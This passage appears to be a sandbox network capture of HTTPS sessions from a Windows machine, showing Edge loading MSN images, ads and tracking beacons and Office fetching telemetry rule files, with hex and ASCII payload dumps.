2024-11-16 22:36:38 UTC	1218	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 20 00 00 00 20 08 06 00 00 00 73 7a 7a f4 00 00 00 19 74 45 58 74 53 6f 66 74 77 61 72 65 00 41 64 6f 62 65 20 49 6d 61 67 65 52 65 61 64 79 71 c9 65 3c 00 00 03 71 69 54 58 74 58 4d 4c 3a 63 6f 6d 2e 61 64 6f 62 65 2e 78 6d 70 00 00 00 00 00 3c 3f 78 70 61 63 6b 65 74 20 62 65 67 69 6e 3d 22 ef bb bf 22 20 69 64 3d 22 57 35 4d 30 4d 70 43 65 68 69 48 7a 72 65 53 7a 4e 54 63 7a 6b 63 39 64 22 3f 3e 20 3c 78 3a 78 6d 70 6d 65 74 61 20 78 6d 6c 6e 73 3a 78 3d 22 61 64 6f 62 65 3a 6e 73 3a 6d 65 74 61 2f 22 20 78 3a 78 6d 70 74 6b 3d 22 41 64 6f 62 65 20 58 4d 50 20 43 6f 72 65 20 35 2e 35 2d 63 30 31 34 20 37 39 2e 31 35 31 34 38 31 2c 20 32 30 31 33 2f 30 33 2f 31 33 2d 31 32 3a 30 39 3a 31 35 20 20 Data Ascii: PNGIHDR szztEXtSoftwareAdobe ImageReadyqe<qiTXtXML:com.adobe.xmp<?xpacket begin="" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.5-c014 79.151481, 2013/03/13-12:09:15

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
125	192.168.2.5	49898	23.47.50.146	443	7568	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-16 22:36:38 UTC	634	OUT	GET /tenant/amp/entityid/AA1hk7Sh.img HTTP/1.1 Host: img-s-msn-com.akamaized.net Connection: keep-alive sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 sec-ch-ua-platform: "Windows" Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-16 22:36:38 UTC	516	IN	HTTP/1.1 200 OK Access-Control-Allow-Origin: * Last-Modified: Sat, 26 Oct 2024 13:08:49 GMT X-Datacenter: westus X-ActivityId: f9118471-d63a-4ae1-a8c4-33a84d8a076d Timing-Allow-Origin: * X-Frame-Options: DENY X-ResizerVersion: 1.0 Content-Type: image/png Content-Location: https://img.s-msn.com/tenant/amp/entityid/AA1hk7Sh X-Source-Length: 6962 Content-Length: 6962 Cache-Control: public, max-age=138594 Expires: Mon, 18 Nov 2024 13:06:32 GMT Date: Sat, 16 Nov 2024 22:36:38 GMT Connection: close
2024-11-16 22:36:38 UTC	6962	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 32 00 00 00 32 08 06 00 00 00 1e 3f 88 b1 00 00 0c 3f 69 43 43 50 49 43 43 20 50 72 6f 66 69 6c 65 00 00 48 89 95 57 07 58 53 c9 16 9e 5b 92 90 90 84 12 40 40 4a e8 4d 10 a9 01 a4 84 d0 42 ef 08 36 42 12 20 94 18 03 41 c5 8e 2e 2a b8 76 b1 80 0d 5d 15 51 b0 02 62 47 ec 2c 8a bd 2f 16 54 94 75 b1 60 57 de a4 80 ae fb ca f7 e6 fb e6 ce 7f ff 39 f3 9f 33 e7 ce dc 7b 07 00 8d e3 3c 89 24 0f d5 04 20 5f 5c 28 8d 0f 0d 64 8e 4a 4d 63 92 9e 02 0c d0 01 15 38 01 4b 1e bf 40 c2 8e 8d 8d 04 b0 0c b4 7f 2f ef ae 03 44 de 5e 71 94 6b fd b3 ff bf 16 2d 81 b0 80 0f 00 12 0b 71 86 a0 80 9f 0f f1 7e 00 f0 2a be 44 5a 08 00 51 ce 5b 4c 2a 94 c8 31 ac 40 47 0a 03 84 78 be 1c 67 29 71 95 1c 67 28 f1 6e 85 4d 62 3c 07 Data Ascii: PNGIHDR22??iCCPICC ProfileHWXS[@@JMB6B A.v]QbG,/Tu`W93{<$ _\(dJMc8K@/D^qk-q~DZQ[L*1@Gxg)qg(nMb<

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
126	192.168.2.5	49899	23.47.50.146	443	7568	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-16 22:36:38 UTC	634	OUT	GET /tenant/amp/entityid/AA1u24yb.img HTTP/1.1 Host: img-s-msn-com.akamaized.net Connection: keep-alive sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 sec-ch-ua-platform: "Windows" Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-16 22:36:38 UTC	517	IN	HTTP/1.1 200 OK Content-Type: image/png Access-Control-Allow-Origin: * Content-Location: https://img.s-msn.com/tenant/amp/entityid/AA1u24yb Last-Modified: Fri, 15 Nov 2024 07:55:37 GMT X-Source-Length: 3765 X-Datacenter: northeu X-ActivityId: a02c37a4-2bd7-4056-aa62-a9ddb69c33bb Timing-Allow-Origin: * X-Frame-Options: deny X-ResizerVersion: 1.0 Content-Length: 3765 Cache-Control: public, max-age=292704 Expires: Wed, 20 Nov 2024 07:55:02 GMT Date: Sat, 16 Nov 2024 22:36:38 GMT Connection: close
2024-11-16 22:36:38 UTC	3765	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 32 00 00 00 32 08 06 00 00 00 1e 3f 88 b1 00 00 00 04 67 41 4d 41 00 00 b1 8f 0b fc 61 05 00 00 00 09 70 48 59 73 00 00 0e c1 00 00 0e c1 01 b8 91 6b ed 00 00 01 87 69 54 58 74 58 4d 4c 3a 63 6f 6d 2e 61 64 6f 62 65 2e 78 6d 70 00 00 00 00 00 3c 3f 78 70 61 63 6b 65 74 20 62 65 67 69 6e 3d 27 ef bb bf 27 20 69 64 3d 27 57 35 4d 30 4d 70 43 65 68 69 48 7a 72 65 53 7a 4e 54 63 7a 6b 63 39 64 27 3f 3e 0d 0a 3c 78 3a 78 6d 70 6d 65 74 61 20 78 6d 6c 6e 73 3a 78 3d 22 61 64 6f 62 65 3a 6e 73 3a 6d 65 74 61 2f 22 3e 3c 72 64 66 3a 52 44 46 20 78 6d 6c 6e 73 3a 72 64 66 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 31 39 39 39 2f 30 32 2f 32 32 2d 72 64 66 2d 73 79 6e 74 61 78 2d 6e 73 23 22 Data Ascii: PNGIHDR22?gAMAapHYskiTXtXML:com.adobe.xmp<?xpacket begin='' id='W5M0MpCehiHzreSzNTczkc9d'?><x:xmpmeta xmlns:x="adobe:ns:meta/"><rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
127	192.168.2.5	49903	18.245.124.16	443	7568	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-16 22:36:38 UTC	925	OUT	GET /b?rn=1731796596344&c1=2&c2=3000001&cs_ucfr=1&c7=https%3A%2F%2Fntp.msn.com%2Fedge%2Fntp%3Flocale%3Den-GB%26title%3DNew%2Btab%26dsp%3D1%26sp%3DBing%26isFREModalBackground%3D1%26startpage%3D1%26PC%3DU531%26ocid%3Dmsedgdhp%26mkt%3Den-us&c8=New+tab&c9=&cs_fpid=3A9CD1F63BEE619E376CC4CF3AB960F7&cs_fpit=o&cs_fpdm=null&cs_fpdt=null HTTP/1.1 Host: sb.scorecardresearch.com Connection: keep-alive sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 sec-ch-ua-platform: "Windows" Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-16 22:36:38 UTC	955	IN	HTTP/1.1 302 Found Content-Length: 0 Connection: close Date: Sat, 16 Nov 2024 22:36:38 GMT Location: /b2?rn=1731796596344&c1=2&c2=3000001&cs_ucfr=1&c7=https%3A%2F%2Fntp.msn.com%2Fedge%2Fntp%3Flocale%3Den-GB%26title%3DNew%2Btab%26dsp%3D1%26sp%3DBing%26isFREModalBackground%3D1%26startpage%3D1%26PC%3DU531%26ocid%3Dmsedgdhp%26mkt%3Den-us&c8=New+tab&c9=&cs_fpid=3A9CD1F63BEE619E376CC4CF3AB960F7&cs_fpit=o&cs_fpdm=null&cs_fpdt=null set-cookie: UID=196b95a879464e5fdc368321731796598; SameSite=None; Secure; domain=.scorecardresearch.com; path=/; max-age=33696000 set-cookie: XID=196b95a879464e5fdc368321731796598; SameSite=None; Secure; Partitioned; domain=.scorecardresearch.com; path=/; max-age=33696000 Accept-CH: UA, Platform, Arch, Model, Mobile X-Cache: Miss from cloudfront Via: 1.1 9a040afcec80c777d2ceb3eb2146d14a.cloudfront.net (CloudFront) X-Amz-Cf-Pop: DFW57-P9 X-Amz-Cf-Id: caWhvuAkhTuo-YqO82CulBWAuQopcJ5bInnhOQaXt8x4Kv-gN22HEg==

Session ID	Source IP	Source Port	Destination IP	Destination Port
128	192.168.2.5	49905	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-16 22:36:38 UTC	192	OUT	GET /rules/rule700200v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-16 22:36:38 UTC	515	IN	HTTP/1.1 200 OK Date: Sat, 16 Nov 2024 22:36:38 GMT Content-Type: text/xml Content-Length: 1356 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:43 GMT ETag: "0x8DC582BDF66E42D" x-ms-request-id: cd078e55-e01e-0020-52a2-37de90000000 x-ms-version: 2018-03-28 x-azure-ref: 20241116T223638Z-164f84587bfdl84ghC1DFWbbhc00000003fg00000000tdrn x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-16 22:36:38 UTC	1356	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 32 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 57 6f 72 64 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 57 6f 72 64 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700200" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Word" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenWord" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
129	192.168.2.5	49906	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-16 22:36:38 UTC	192	OUT	GET /rules/rule702351v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-16 22:36:38 UTC	515	IN	HTTP/1.1 200 OK Date: Sat, 16 Nov 2024 22:36:38 GMT Content-Type: text/xml Content-Length: 1395 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:44 GMT ETag: "0x8DC582BE017CAD3" x-ms-request-id: 0f1e6da1-801e-007b-6baf-36e7ab000000 x-ms-version: 2018-03-28 x-azure-ref: 20241116T223638Z-16547b76f7fp6s5dhC1DFWe28g00000000sg000000001wsk x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-16 22:36:38 UTC	1395	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 33 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 56 6f 69 63 65 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 56 6f 69 63 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702351" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Voice.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenVoic

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
130	192.168.2.5	49904	20.75.60.91	443	7568	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-16 22:36:38 UTC	1067	OUT	GET /v4/api/selection?nct=1&fmt=json&nocookie=0&locale=en-us&country=US&muid=3A9CD1F63BEE619E376CC4CF3AB960F7&ACHANNEL=4&ABUILD=117.0.5938.132&clr=esdk&edgeid=6686581979505309747&ADEFAB=1&devosver=10.0.19045.2006&OPSYS=WIN10&poptin=0&UITHEME=light&pageConfig=547&ISSIGNEDIN=0&MSN_CANVAS=2&ISMOBILE=0&BROWSER=6&placement=88000308\|10837393&bcnt=1\|1&asid=f56ae9335e1e43cad42e18405fa11e88 HTTP/1.1 Host: arc.msn.com Connection: keep-alive sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 sec-ch-ua-platform: "Windows" Accept: / Origin: https://ntp.msn.com Sec-Fetch-Site: same-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8 Cookie: _C_ETH=1; USRLOC=; MUID=3A9CD1F63BEE619E376CC4CF3AB960F7; _EDGE_S=F=1&SID=3E75506006406AE53ED4455907F76B45; _EDGE_V=1
2024-11-16 22:36:38 UTC	674	IN	HTTP/1.1 200 OK Cache-Control: no-store, no-cache Pragma: no-cache Content-Length: 297 Content-Type: application/json; charset=utf-8 Expires: Mon, 01 Jan 0001 00:00:00 GMT Server: Microsoft-IIS/10.0 ARC-RSP-DBG: [{"DcoPlusDebug":"Status: Ok"},{"RADIDS":"2,,"},{"OPTOUTSTATE":"256"},{"REGIONALPOLICY":"0"}] Accept-CH: UA, UA-Arch, UA-Full-Version, UA-Mobile, UA-Model, UA-Platform, UA-Platform-Version Access-Control-Allow-Origin: https://ntp.msn.com Access-Control-Allow-Credentials: true X-AspNet-Version: 4.0.30319 X-Powered-By: ASP.NET Strict-Transport-Security: max-age=31536000; includeSubDomains Date: Sat, 16 Nov 2024 22:36:38 GMT Connection: close
2024-11-16 22:36:38 UTC	297	IN	Data Raw: 7b 22 62 61 74 63 68 72 73 70 22 3a 7b 22 76 65 72 22 3a 22 31 2e 30 22 2c 22 65 72 72 6f 72 73 22 3a 5b 7b 22 70 6c 61 63 65 6d 65 6e 74 22 3a 22 38 38 30 30 30 33 30 38 22 2c 22 65 72 72 6f 72 73 22 3a 5b 7b 22 63 6f 64 65 22 3a 32 30 34 30 2c 22 6d 73 67 22 3a 22 44 65 6d 61 6e 64 20 73 6f 75 72 63 65 20 72 65 74 75 72 6e 73 20 65 72 72 6f 72 20 28 4e 61 6d 65 3a 20 47 4e 5f 70 73 2c 20 45 72 72 6f 72 3a 20 4e 6f 20 65 6c 69 67 69 62 6c 65 20 63 6f 6e 74 65 6e 74 2e 29 2e 22 7d 5d 7d 2c 7b 22 70 6c 61 63 65 6d 65 6e 74 22 3a 22 31 30 38 33 37 33 39 33 22 2c 22 65 72 72 6f 72 73 22 3a 5b 7b 22 63 6f 64 65 22 3a 32 30 34 30 2c 22 6d 73 67 22 3a 22 44 65 6d 61 6e 64 20 73 6f 75 72 63 65 20 72 65 74 75 72 6e 73 20 65 72 72 6f 72 20 28 4e 61 6d 65 3a 20 47 Data Ascii: {"batchrsp":{"ver":"1.0","errors":[{"placement":"88000308","errors":[{"code":2040,"msg":"Demand source returns error (Name: GN_ps, Error: No eligible content.)."}]},{"placement":"10837393","errors":[{"code":2040,"msg":"Demand source returns error (Name: G

Session ID	Source IP	Source Port	Destination IP	Destination Port
131	192.168.2.5	49907	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-16 22:36:38 UTC	192	OUT	GET /rules/rule702350v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-16 22:36:38 UTC	515	IN	HTTP/1.1 200 OK Date: Sat, 16 Nov 2024 22:36:38 GMT Content-Type: text/xml Content-Length: 1358 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:54 GMT ETag: "0x8DC582BE6431446" x-ms-request-id: 21ae6e2f-801e-008f-20af-362c5d000000 x-ms-version: 2018-03-28 x-azure-ref: 20241116T223638Z-16547b76f7f9s8x7hC1DFWywrg000000038g000000005v51 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-16 22:36:38 UTC	1358	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 33 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 56 6f 69 63 65 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 56 6f 69 63 65 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702350" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Voice" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenVoice" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
132	192.168.2.5	49892	20.42.73.31	443	7568	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-16 22:36:39 UTC	1082	OUT	POST /OneCollector/1.0?cors=true&content-type=application/x-json-stream&client-id=NO_AUTH&client-version=1DS-Web-JS-3.2.8&apikey=0ded60c75e44443aa3484c42c1c43fe8-9fc57d3f-fdac-4bcf-b927-75eafe60192e-7279&upload-time=1731796596341&time-delta-to-apply-millis=use-collector-delta&w=0&anoncknm=app_anon&NoResponseBody=true HTTP/1.1 Host: browser.events.data.msn.com Connection: keep-alive Content-Length: 3808 sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-platform: "Windows" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Content-Type: text/plain;charset=UTF-8 Accept: / Origin: https://ntp.msn.com Sec-Fetch-Site: same-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8 Cookie: _C_ETH=1; USRLOC=; MUID=3A9CD1F63BEE619E376CC4CF3AB960F7; _EDGE_S=F=1&SID=3E75506006406AE53ED4455907F76B45; _EDGE_V=1
2024-11-16 22:36:39 UTC	3808	OUT	Data Raw: 7b 22 6e 61 6d 65 22 3a 22 4d 53 2e 4e 65 77 73 2e 57 65 62 2e 50 61 67 65 56 69 65 77 22 2c 22 74 69 6d 65 22 3a 22 32 30 32 34 2d 31 31 2d 31 36 54 32 32 3a 33 36 3a 33 36 2e 33 33 37 5a 22 2c 22 76 65 72 22 3a 22 34 2e 30 22 2c 22 69 4b 65 79 22 3a 22 6f 3a 30 64 65 64 36 30 63 37 35 65 34 34 34 34 33 61 61 33 34 38 34 63 34 32 63 31 63 34 33 66 65 38 22 2c 22 65 78 74 22 3a 7b 22 73 64 6b 22 3a 7b 22 76 65 72 22 3a 22 31 44 53 2d 57 65 62 2d 4a 53 2d 33 2e 32 2e 38 22 2c 22 73 65 71 22 3a 31 2c 22 69 6e 73 74 61 6c 6c 49 64 22 3a 22 64 65 36 36 66 36 63 62 2d 37 32 63 35 2d 34 65 62 38 2d 61 33 65 34 2d 61 65 64 63 61 33 37 33 62 62 31 32 22 2c 22 65 70 6f 63 68 22 3a 22 31 30 31 39 38 37 37 34 39 36 22 7d 2c 22 61 70 70 22 3a 7b 22 6c 6f 63 61 6c 65 Data Ascii: {"name":"MS.News.Web.PageView","time":"2024-11-16T22:36:36.337Z","ver":"4.0","iKey":"o:0ded60c75e44443aa3484c42c1c43fe8","ext":{"sdk":{"ver":"1DS-Web-JS-3.2.8","seq":1,"installId":"de66f6cb-72c5-4eb8-a3e4-aedca373bb12","epoch":"1019877496"},"app":{"locale
2024-11-16 22:36:39 UTC	890	IN	HTTP/1.1 204 No Content Content-Length: 0 Server: Microsoft-HTTPAPI/2.0 Strict-Transport-Security: max-age=31536000 P3P: CP="ALL IND DSP COR ADM CONo CUR CUSo IVAo IVDo PSA PSD TAI TELo OUR SAMo CNT COM INT NAV ONL PHY PRE PUR UNI" Set-Cookie: MC1=GUID=625c6f8a0df746efa22e26fcc3a19517&HASH=625c&LV=202411&V=4&LU=1731796599247; Domain=.microsoft.com; Expires=Sun, 16 Nov 2025 22:36:39 GMT; Path=/;Secure; SameSite=None Set-Cookie: MS0=679ea66fd667468eaa17bdfe3deea5dc; Domain=.microsoft.com; Expires=Sat, 16 Nov 2024 23:06:39 GMT; Path=/;Secure; SameSite=None time-delta-millis: 2906 Access-Control-Allow-Headers: P3P,Set-Cookie,time-delta-millis Access-Control-Allow-Methods: POST Access-Control-Allow-Credentials: true Access-Control-Allow-Origin: https://ntp.msn.com Access-Control-Expose-Headers: time-delta-millis Date: Sat, 16 Nov 2024 22:36:39 GMT Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port
133	192.168.2.5	49909	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-16 22:36:39 UTC	192	OUT	GET /rules/rule701251v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-16 22:36:39 UTC	494	IN	HTTP/1.1 200 OK Date: Sat, 16 Nov 2024 22:36:39 GMT Content-Type: text/xml Content-Length: 1395 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:41 GMT ETag: "0x8DC582BDE12A98D" x-ms-request-id: 6763c5ef-a01e-000d-6fc4-37d1ea000000 x-ms-version: 2018-03-28 x-azure-ref: 20241116T223639Z-16547b76f7fr5rfnhC1DFW0am400000000ug00000000h468 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-16 22:36:39 UTC	1395	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 32 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 56 69 73 69 6f 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 56 69 73 69 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701251" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Visio.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenVisi

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
134	192.168.2.5	49910	18.245.124.16	443	7568	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
